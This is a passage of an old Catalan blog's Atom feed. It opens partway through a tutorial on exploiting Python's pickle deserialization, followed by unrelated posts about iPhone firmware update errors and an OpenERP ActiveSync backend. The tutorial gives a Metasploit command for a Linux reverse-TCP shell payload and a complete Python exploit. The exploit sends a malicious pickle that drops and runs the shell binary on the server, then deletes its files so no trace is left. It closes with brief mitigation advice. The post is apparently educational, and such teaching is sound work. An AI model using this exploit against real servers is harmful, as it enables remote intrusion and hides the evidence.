Tenim un problema, no podem enviar directament el binari per la connexió, ja que sembla que al pickle no li agraden els salts de línia &lt;i&gt;extres&lt;/i&gt;, per tant el que farem serà el següent:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Generar el binari&lt;/li&gt;
&lt;li&gt;Passar-lo a base64&lt;/li&gt;
&lt;li&gt;Haurem de pujar també un script que de base64 ho torni a binari&lt;/li&gt;
&lt;li&gt;L&#39;script no podrà tenir salts de línia...&lt;/li&gt;
&lt;li&gt;...&lt;br /&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
Sembla que se&#39;ns va complicant, però sense complicació no hi ha diversió :D&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;b&gt;Generació del binari amb el metasploit&lt;br /&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;./msfpayload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X | ./bin2base64.py &amp;gt; /tmp/reverse_b64&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;No explicaré el funcionament del msfpayload, però a grans trets el que faig és crear un binari amb el payload&amp;nbsp; del reverse_tcp diguent que s&#39;ha de connectar a la IP 127.0.0.1 i al port 4444. Després ho passo per un pipe a un script que tinc fet que em converteix l&#39;entrada en base64 i ho redirecciono a /tmp/reverse_b64&lt;br /&gt;
&lt;br /&gt;
L&#39;script per transformar a base64 és aquest:&lt;br /&gt;
&lt;div style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;#!/usr/bin/python&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Courier New;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;import base64&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
b64 = base64.b64encode(sys.stdin.read())&lt;br /&gt;
sys.stdout.write(b64)&lt;br /&gt;
sys.stdout.flush()&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Exploit final&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
M&#39;he basant en que el servidor estaria treballant en sabor Unix, si el voleu per W32 ho haureu de fer vosaltres mateixo ;-)&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;font-family: Courier New;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
import optparse&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
parser = optparse.OptionParser(version=&quot;[PICKLE REMOTE SHELL EXPLOIT]&quot;)&lt;br /&gt;
group = optparse.OptionGroup(parser, &quot;SERVER Related&quot;)&lt;br /&gt;
group.add_option(&quot;--host&quot;, dest=&quot;host&quot;, help=&quot;specify the database host&quot;) &lt;br /&gt;
group.add_option(&quot;--port&quot;, dest=&quot;port&quot;, help=&quot;specify the database port&quot;) &lt;br /&gt;
parser.add_option_group(group)&lt;br /&gt;
&lt;br /&gt;
options = optparse.Values()&lt;br /&gt;
options.host = &#39;localhost&#39;&lt;br /&gt;
options.port = 8070&lt;br /&gt;
parser.parse_args(values=options)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
t2b = &quot;&quot;&quot;#!/usr/bin/python@import base64@f = open(&quot;/tmp/incode&quot;, &quot;r&quot;)@b64 = base64.b64decode(f.read())@f.close()@f = open(&quot;/tmp/.shell&quot;, &quot;wb&quot;)@f.write(b64)@f.close()&quot;&quot;&quot;&lt;br /&gt;
&lt;br /&gt;
# Metasploit linux/x86/shell/reverse_tcp LHOST=127.0.0.1&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; LPORT=4444 (Base64)&lt;br /&gt;
shellcode = &quot;&quot;&quot;AQUI VA EL PAYLOAD EN BASE64&quot;&quot;&quot;&lt;br /&gt;
&lt;br /&gt;
# Before to exploit use metasploit:&lt;br /&gt;
# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 E&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
host = options.host&lt;br /&gt;
port = options.port&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;print &quot;[+] Trying %s:%s...&quot; % (host, port)&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;sock.connect((host, int(port)))&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;msg = &quot;&quot;&quot;cos\nsystem\n(S&#39;echo \&#39;&quot;&quot;&quot;+t2b+&quot;&quot;&quot;\&#39; &amp;gt; .t2b.tmp; cat .t2b.tmp | tr \&#39;@\&#39; \&#39;\\n\&#39; &amp;gt; .t2b; rm -f .t2b.tmp; echo \&#39;&quot;&quot;&quot;+shellcode+&quot;&quot;&quot;\&#39; &amp;gt; /tmp/incode; python .t2b; chmod +x /tmp/.shell; rm -f .t2b; rm -f /tmp/incode; /tmp/.shell; rm -f /tmp/.shell&#39;\ntR.&quot;&quot;&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;print &quot;[+] Sending payload!&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;sock.send(msg)&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;sock.close()&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &lt;br /&gt;
except KeyboardInterrupt:&lt;br /&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;print &#39;Shutting Down...&#39;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;Explicació de l&#39;exploit&lt;br /&gt;
&lt;/b&gt;La variable &lt;b&gt;t2b&lt;/b&gt; és l&#39;script que utiltizarem per tornar a transformar de text a binari, com veieu no té salts de línia, i en comtpes té els simbols @, això ja veureu perquè ens serveix.&lt;br /&gt;
La variable &lt;b&gt;shellcode&lt;/b&gt; és on hem de posar el contingut del fitxer que hem generat abans en base64&lt;br /&gt;
La variable &lt;b&gt;msg&lt;/b&gt; és qui executa l&#39;&lt;i&gt;exploit&lt;/i&gt; en sí, s&#39;enten bastant bé, si no haureu d&#39;investigar una mica.&lt;br /&gt;
Com veieu la gràcia és que es té el metasploit escoltant, es rep una connexió i quan nosaltres tanquem, en el servidor remot no queda ni rastre :)&lt;br /&gt;
&lt;br /&gt;
De poder-se fer, es pot fer de mil maneres diferents, però amb aquesta es toca una mica de tot i didacticament és entretinguda :D.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sol·lució del protocol pickle&lt;/b&gt;&lt;br /&gt;
En la pàgina de la Nadiana, n&#39;explica vàries. La que jo utilitzo si només necessito el pickle per dades bàsiques (sense la necessitat de serialitzar objectes) és en comptes d&#39;assignar una funció de &lt;i&gt;check&lt;/i&gt; al &lt;span style=&quot;font-family: Courier New;&quot;&gt;unpickler.find_global&lt;/span&gt;, és assignar-hi &lt;span style=&quot;font-family: Courier New;&quot;&gt;None&lt;/span&gt;, i així ja no hi tindrem problemes.&lt;br /&gt;
L&#39;altre sol·lució que recomano, és utilizar protocols pensats per això com per exemple el &lt;a href=&quot;http://pyro.sourceforge.net/&quot; id=&quot;iu83&quot; title=&quot;Pyro&quot;&gt;Pyro&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/4087580758458768828/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/explotant-pickle-de-python.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4087580758458768828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/4087580758458768828'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/11/explotant-pickle-de-python.html' title='Explotant pickle de Python'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-7543576352655522033</id><published>2009-08-03T21:33:00.002+02:00</published><updated>2009-08-03T22:51:54.871+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="iphone"/><title type='text'>Actualització iPhone a 3.0.1</title><content type='html'>Doncs sembla que Apple continua igual amb el seu sistema d&#39;errors. Avui intentant actualitzar el firmware a la versió 3.0.1 em dona el següent error:&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDZPvkRhiBhEC7SRj-sheVwLASCqd9RY48I3jdRkOhMkfFyW0N6MeOSNgXw8mpQj-0Ziu5CWAitKIl6YtkZdhMtzJmu_kHxbwwOiJRlmAJxYP213PLucOMYg-f2xOtTuAOWmNxGAkBTOY/s1600-h/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDZPvkRhiBhEC7SRj-sheVwLASCqd9RY48I3jdRkOhMkfFyW0N6MeOSNgXw8mpQj-0Ziu5CWAitKIl6YtkZdhMtzJmu_kHxbwwOiJRlmAJxYP213PLucOMYg-f2xOtTuAOWmNxGAkBTOY/s320/1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;La veritat no sé perquè diu que &lt;i&gt;se ha desconectado&lt;/i&gt; si no he tocat res, de fet l&#39;he posat en &lt;i&gt;Modo avión&lt;/i&gt; i he desactivat la sincronització automàtica amb l&#39;iTunes per tal que no faci cap cosa extranya... i el més bó continua vinguent quan intentem saber més sobre aquest error i apretem al botó de &lt;i&gt;Más información&lt;/i&gt; ens obre un navegador amb la direcció: &lt;a href=&quot;http://www.apple.com/es/support/iphone/updaterestore/?error=-10&quot;&gt;http://www.apple.com/es/support/iphone/updaterestore/?error=-10&lt;/a&gt;, poso una imatge per si un cas ho arreglessin, però ho dubto molt, ja que en el post anterior si es consulta la pàgina de l&#39;error encara està igual...&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhycA6ggKHW9pDQEtGSBG267SA3u5LZjrHOtOXRnd84mkOFCFnUwJlzBMTVqNCEz9CpmstCiGr5HPTQYCRsyBxbbnfWMBJ98MXVXIOyzCzvzT2sa038nu8NJIJFwjg_FMd6PUmwKH_MCkk/s1600-h/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhycA6ggKHW9pDQEtGSBG267SA3u5LZjrHOtOXRnd84mkOFCFnUwJlzBMTVqNCEz9CpmstCiGr5HPTQYCRsyBxbbnfWMBJ98MXVXIOyzCzvzT2sa038nu8NJIJFwjg_FMd6PUmwKH_MCkk/s400/2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Doncs només posar aquest post per demostrar la qualitat del productes d&#39;Apple i el bon funcionament dels programaris privatius (si no ho heu detectat, això estava escrit en mode irònic)&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;ACTUALITZACIÓ:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Resulta que abans de dur a terme l&#39;actualització del firmaware s&#39;ha de fer una sincronització completa de l&#39;iPhone, sino dona l&#39;error comentat anterirorment... vaja que costa molt posar-ho al missatge d&#39;error això, i és molt més usable redirigir l&#39;usuari a una pàgina 404 :)&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/7543576352655522033/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/08/actualitzacio-iphone-301.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/7543576352655522033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/7543576352655522033'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/08/actualitzacio-iphone-301.html' title='Actualització iPhone a 3.0.1'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDZPvkRhiBhEC7SRj-sheVwLASCqd9RY48I3jdRkOhMkfFyW0N6MeOSNgXw8mpQj-0Ziu5CWAitKIl6YtkZdhMtzJmu_kHxbwwOiJRlmAJxYP213PLucOMYg-f2xOtTuAOWmNxGAkBTOY/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-2520662112009398576</id><published>2009-06-17T21:32:00.001+02:00</published><updated>2009-06-17T21:39:04.960+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="iphone"/><title type='text'>Intentant actualitzar l&#39;iPhone a 3.0</title><content type='html'>Doncs això és el que estic fent &lt;b&gt;intentant actualitzar&lt;/b&gt; ja que es veu que amb lo car que és i lo &lt;i&gt;elitista&lt;/i&gt; que el fan ser no n&#39;hi ha prou... ja podeu anar demanant als usuaris que no s&#39;enfadin perquè &lt;i&gt;capeu&lt;/i&gt; allò i lo altre encara no funciona.... &lt;b&gt;AIXÒ FA PUDOR!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVv_Cy5fA7341S-lYmP9vV00CFdmh00qT9qmEWEbi9SzT1oPnpupUIGOj_AM-MtX7EWhAhwGmvlf1Xhhq-OXLDPNV7jlYnN8RPILBJyxhwpOUV-Zz3YcUTtL51ou7bLRMz7fMeXxOf8UU/s1600-h/carda_pena_iphone.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVv_Cy5fA7341S-lYmP9vV00CFdmh00qT9qmEWEbi9SzT1oPnpupUIGOj_AM-MtX7EWhAhwGmvlf1Xhhq-OXLDPNV7jlYnN8RPILBJyxhwpOUV-Zz3YcUTtL51ou7bLRMz7fMeXxOf8UU/s320/carda_pena_iphone.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;text-align: left;clear: both; &quot;&gt;I si per casualitat voleu saber més informació de l&#39;error i apreteu a &quot;Más información&quot; us dirigirà a &lt;a href=&quot;http://www.apple.com/es/support/iphone/updaterestore/?error=1639&quot;&gt;http://www.apple.com/es/support/iphone/updaterestore/?error=1639&lt;/a&gt; que en aquests moments és això:&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJR9mJaeMzBCcGDeX3TvpLFKXy_Vf7DWC6m9Oi97aGoTyKSXIT8A4hsfL1a5ATPC_kcQMoJ6YjSJogKG5JtgsMesNPeIeuGA2AfMiHbmd_nuc4yWpsnLMrK9iy0LdCoRA-V5MwLc6Cn7E/s1600-h/not_found.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 273px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJR9mJaeMzBCcGDeX3TvpLFKXy_Vf7DWC6m9Oi97aGoTyKSXIT8A4hsfL1a5ATPC_kcQMoJ6YjSJogKG5JtgsMesNPeIeuGA2AfMiHbmd_nuc4yWpsnLMrK9iy0LdCoRA-V5MwLc6Cn7E/s400/not_found.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5348383041952915234&quot; /&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/2520662112009398576/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/06/intentant-actualitzar-liphone-30.html#comment-form' title='2 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2520662112009398576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2520662112009398576'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/06/intentant-actualitzar-liphone-30.html' title='Intentant actualitzar l&#39;iPhone a 3.0'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVv_Cy5fA7341S-lYmP9vV00CFdmh00qT9qmEWEbi9SzT1oPnpupUIGOj_AM-MtX7EWhAhwGmvlf1Xhhq-OXLDPNV7jlYnN8RPILBJyxhwpOUV-Zz3YcUTtL51ou7bLRMz7fMeXxOf8UU/s72-c/carda_pena_iphone.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-9151310923187061230</id><published>2009-04-27T23:00:00.008+02:00</published><updated>2009-08-03T21:35:56.546+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ActiveSync"/><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><title type='text'>Separació de codi entre Z-Push i OpenObject</title><content type='html'>&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;La meva primera idea en fer el &lt;a href=&quot;https://launchpad.net/openobject-activesync&quot;&gt;backend de Z-Push per l&#39;OpenERP&lt;/a&gt;, era programar aquest backend per tal que fes totes les crides al servidor &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Enterprise_resource_planning&quot; rel=&quot;wikipedia&quot; title=&quot;Enterprise resource planning&quot;&gt;ERP&lt;/a&gt;.&lt;br /&gt;Però vaig pensar que seria molt més útil fer que el backend cridés unes funcions a un mòdul &#39;&lt;i&gt;activesync&lt;/i&gt;&#39; fet per l&#39;&lt;a href=&quot;http://www.openerp.com/&quot;&gt;OpenERP&lt;/a&gt; i que fos aquest qui tingués tota la lògica a dins.&lt;br /&gt;&lt;br /&gt;Això ens comporta una sèrie d&#39;avantatges:&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Manteniment més simple&lt;/b&gt;: &lt;/li&gt;Tinguent només les funcions necessàries d&#39;implementació de l&#39;activesync al backend i fent que aquestes cridin a les funcions del mòdul activesync a l&#39;ERP, fa que un cop acabada l&#39;implementació de les funcions del backend, només ens haguem de centrar en la lògica del mòdul ERP.  Totes les noves funcionalitats les progamen al mòdul ERP i deixem com a estable la part del backend.&lt;li&gt;&lt;b&gt;Aprofitament del sistema d&#39;herencia&lt;/b&gt;:&lt;br /&gt;L&#39;&lt;a href=&quot;http://www.openobject.com/&quot;&gt;OpenObject&lt;/a&gt; és conegut per la potència del seu sistema modular. Per tant alterar el funcionament del mòdul d&#39;&lt;i&gt;activesync&lt;/i&gt; serà molt fàcil. Tal i com ho fem amb la resta de mòduls de l&#39;OpenObject. &lt;/li&gt;Això farà que poguem personalitzar el sistema de sincronització tant com vulguem. &lt;/ol&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8aTAzWcJ8g1Q_924idn0FBnpPZxRDkONEkKQQsqf4KB__WO5-lsxeafwhxOH74hyphenhyphenrWyeHhywovaUO_Ar9Z5bTZoyGPJ9zedD2BkzAf3NMQCQ4lf61vYFUZzwGRifWHL9ik-6Om9rTCiM/s1600-h/activesync-openerp.png&quot;&gt;Diagrama de comunicacions entre plataformes&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;br /&gt;Tant aviat com em sigui possible em posaré a desenvolupar aquesta funcionalitat estigueu atents a les notícies :)</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/9151310923187061230/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/04/separacio-de-codi-entre-z-push-i.html#comment-form' title='4 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/9151310923187061230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/9151310923187061230'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/04/separacio-de-codi-entre-z-push-i.html' title='Separació de codi entre Z-Push i OpenObject'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-2355920371191061332</id><published>2009-04-25T10:44:00.000+02:00</published><updated>2009-04-25T10:44:55.206+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ActiveSync"/><category scheme="http://www.blogger.com/atom/ns#" term="iphone"/><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><title type='text'>Activesync amb l&#39;OpenERP</title><content type='html'>Finalment avui he publicat una primera versió funcional del backend &lt;a href=&quot;https://launchpad.net/openobject-activesync&quot;&gt;ActiveSync per l&#39;OpenERP&lt;/a&gt;. Per qui no ho sàpiga, l&#39;&lt;a href=&quot;http://en.wikipedia.org/wiki/ActiveSync&quot;&gt;ActiveSync&lt;/a&gt; és un protocol de sincronització (contactes, correu, calendaris i tasquea) desenvolupat per Microsoft. Segurament us preguntareu per què he triat aquest protocol...&lt;br /&gt;
La resposta té dues parts: una és degut a que és el protocol que s&#39;utilitza  en gran part dels smartphones (iPhone, Palms, Windows Mobile, etc...), l&#39;altre és perquè tinc un iPhone i m&#39;interessa tenir-ho sincronitzat amb l&#39;ERP.&lt;br /&gt;
Per desenvolupart aquest backend utilitzo &lt;a href=&quot;http://z-push.sourceforge.net/soswp/&quot;&gt;Z-Push&lt;/a&gt;, una plataforma lliure que implementa el protocol ActiveSync.&lt;br /&gt;
&lt;br /&gt;
En aquesta primera versió només es sincronitzen els contactes (res.partner.address). Permet crear, modificar i eliminar contactes directament de l&#39;ERP.&lt;br /&gt;
&lt;br /&gt;
En la següent versió treballaré en la sincronització del correu, en aquest cas faré com si les &quot;Requests&quot; (res.request) que ens fem entre els usuaris de l&#39;ERP i les tractaré com si es tractessin de correu.&lt;br /&gt;
&lt;br /&gt;
Properament podreu trobar documentació de com realitzar la instal·lació i configuració de l&#39;ActiveSync per OpenERP a la pàgina del projecte. De moment si voleu anar seguint el desenvolupament d&#39;aquest backend podeu utilitzar la plataforma &lt;a href=&quot;http://www.launchpad.net/&quot;&gt;Launchpad&lt;/a&gt; per informar de &lt;a href=&quot;https://bugs.launchpad.net/openobject-activesync&quot;&gt;bugs&lt;/a&gt;, &lt;a href=&quot;https://answers.launchpad.net/openobject-activesync&quot;&gt;fer preguntes&lt;/a&gt;, &lt;a href=&quot;https://launchpad.net/%7Eopenobject-activesync&quot;&gt;llista de correu&lt;/a&gt;, &lt;a href=&quot;https://blueprints.launchpad.net/openobject-activesync&quot;&gt;aportar idees&lt;/a&gt; i &lt;a href=&quot;https://code.launchpad.net/openobject-activesync&quot;&gt;veure el codi&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://ecarreras-tec.blogspot.com/feeds/2355920371191061332/comments/default' title='Comentaris del missatge'/><link rel='replies' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/04/activesync-amb-lopenerp.html#comment-form' title='0 comentaris'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2355920371191061332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7680784419272917782/posts/default/2355920371191061332'/><link rel='alternate' type='text/html' href='http://ecarreras-tec.blogspot.com/2009/04/activesync-amb-lopenerp.html' title='Activesync amb l&#39;OpenERP'/><author><name>Edu</name><uri>http://www.blogger.com/profile/06859656785037896936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqDHGxIPdhzL3MRnL3GVhf2ZzYJuVMZ8bQmci6A06k_lHUl5o5MXDdVI1gKy2s14vutN1Gjd6IySkiyNz-FtALmyo732LTqUDWr_VKe_3dMcDa8oIKZJEhrkfvertrg/s220/playeru.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7680784419272917782.post-636553945951293506</id><published>2009-04-01T21:30:00.004+02:00</published><updated>2009-06-19T15:23:30.682+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="patches"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>Error en la precisió d&#39;un float en l&#39;OpenObject Server</title><content type='html'>Feia dies que no feia cap post dels &lt;i&gt;pedaços&lt;/i&gt; que vaig enviant al projecte de l&#39;&lt;a href=&quot;https://launchpad.net/openobject-server&quot;&gt;OpenObject Server&lt;/a&gt;, avui després de debatre, de moment sense la resposta final per part de l&#39;&lt;a href=&quot;https://launchpad.net/~openerp&quot;&gt;equip de Qualitat&lt;/a&gt;) (&lt;a href=&quot;https://bugs.launchpad.net/openobject-server/+bug/352471&quot;&gt;Bug: 